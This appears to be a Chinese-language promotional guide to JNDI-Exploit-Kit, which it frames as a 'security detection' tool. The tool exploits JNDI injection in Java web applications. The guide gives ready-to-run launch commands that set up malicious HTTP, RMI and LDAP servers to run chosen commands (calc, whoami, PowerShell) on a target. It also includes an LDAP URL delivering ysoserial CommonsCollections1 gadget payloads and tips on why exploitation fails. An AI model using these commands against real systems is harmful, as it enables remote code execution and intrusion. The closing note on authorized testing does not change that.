JNDI安全检测工具使用指南：从快速入门到实战精通

JNDI-Exploit-Kit 是一款专业的Java安全测试工具，专门用于检测和防护JNDI注入风险。无论您是安全测试新手还是资深专家，都能通过本指南快速掌握其核心用法。

【免费下载链接】JNDI-Exploit-KitJNDI-Exploitation-Kit（A modified version of the great JNDI-Injection-Exploit created by @welk1n. This tool can be used to start an HTTP Server, RMI Server and LDAP Server to exploit java web apps vulnerable to JNDI Injection）项目地址: https://gitcode.com/gh_mirrors/jn/JNDI-Exploit-Kit

5分钟快速上手体验

想要立即体验JNDI安全检测的功能？我们首先从最简单的示例开始：

# 下载项目代码 git clone https://gitcode.com/gh_mirrors/jn/JNDI-Exploit-Kit # 进入项目目录 cd JNDI-Exploit-Kit # 构建项目 mvn clean package # 启动安全检测服务 java -jar target/JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -J 127.0.0.1:8180 -R 127.0.0.1:1099 -L 127.0.0.1:1389

执行上述命令后，您将看到工具自动生成了多个JNDI链接，这些链接适配不同的JDK版本。图中展示了完整的服务器启动状态和生成的检测链接。

核心功能深度解析

一键启动多协议服务

JNDI-Exploit-Kit 的强大之处在于能够同时启动三种服务：

• HTTP服务（端口8180）：托管检测类文件
• RMI服务（端口1099）：提供RMI协议支持
• LDAP服务（端口1389）：提供LDAP协议支持

# 完整参数示例 java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \ -C "whoami" \ # 要执行的系统检测命令 -J 192.168.1.100:8180 \ # HTTP服务器地址 -R 192.168.1.100:1099 \ # RMI服务器地址 -L 192.168.1.100:1389 \ # LDAP服务器地址 -A 192.168.1.100 # 服务器绑定地址

动态命令执行与实时监控

当目标系统通过JNDI链接访问您的服务器时，工具会自动记录整个检测流程。上图展示了从JNDI查询到检测类加载的完整过程。

高级检测技巧与绕过策略

对于更复杂的环境，JNDI-Exploit-Kit 提供了多种高级功能：

序列化检测集成

# 使用YSOSerial payload进行复杂检测 ldap://127.0.0.1:1389/serial/CommonsCollections1/exec_global/[base64编码命令]

YSOSerial 是业界知名的Java反序列化风险检测工具，JNDI-Exploit-Kit 与其深度集成，支持多种Payload类型。

实战场景配置指南

基础风险检测配置

对于初次接触JNDI注入风险的用户，建议从以下配置开始：

# 最简单的测试配置 java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C "calc" -J 127.0.0.1:8180

企业级安全检测配置

在企业环境中进行安全检测时，需要更复杂的配置：

# 企业环境完整配置 java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar \ -C "powershell -c 'whoami'" \ # Windows系统检测命令 -J 10.0.0.100:8180 \ # 内网HTTP地址 -R 10.0.0.100:1099 \ # 内网RMI地址 -L 10.0.0.100:1389 # 内网LDAP地址

针对不同JDK版本和Web框架，JNDI-Exploit-Kit 提供了针对性的检测策略。

关键源码模块解析

了解工具的核心实现有助于更好地使用：

服务器启动模块：src/main/java/run/ServerStart.java

• 负责初始化HTTP、RMI、LDAP服务
• 管理服务端口绑定和状态监控

协议服务实现：

• RMI服务：src/main/java/jndi/RMIRefServer.java
• LDAP服务：src/main/java/jndi/LDAPRefServer.java

检测载荷生成模块：src/main/java/ysoserial/payloads/

• 包含多种反序列化检测载荷
• 支持动态命令编码

常见问题与解决方案

服务启动失败排查

如果遇到服务启动问题，请检查：

1. 端口是否被占用
2. 防火墙设置是否阻止访问
3. Java版本是否兼容

检测不成功原因分析

如果JNDI链接无法触发检测，可能是：

1. 目标JDK版本过高（trustURLCodebase=false）
2. 网络连通性问题
3. 目标应用过滤了特殊字符

安全检测最佳实践

在使用JNDI-Exploit-Kit进行安全检测时，请遵循以下原则：

1. 授权检测：确保在合法授权范围内使用
2. 环境隔离：在测试环境中进行，避免影响生产
3. 结果记录：详细记录检测过程和结果
4. 及时修复：发现风险后及时通知相关团队修复

通过本指南，您已经掌握了JNDI-Exploit-Kit的核心用法。从简单的命令执行到复杂的检测策略，这个工具都能帮助您全面检测Java应用中的JNDI注入风险。

【免费下载链接】JNDI-Exploit-KitJNDI-Exploitation-Kit（A modified version of the great JNDI-Injection-Exploit created by @welk1n. This tool can be used to start an HTTP Server, RMI Server and LDAP Server to exploit java web apps vulnerable to JNDI Injection）项目地址: https://gitcode.com/gh_mirrors/jn/JNDI-Exploit-Kit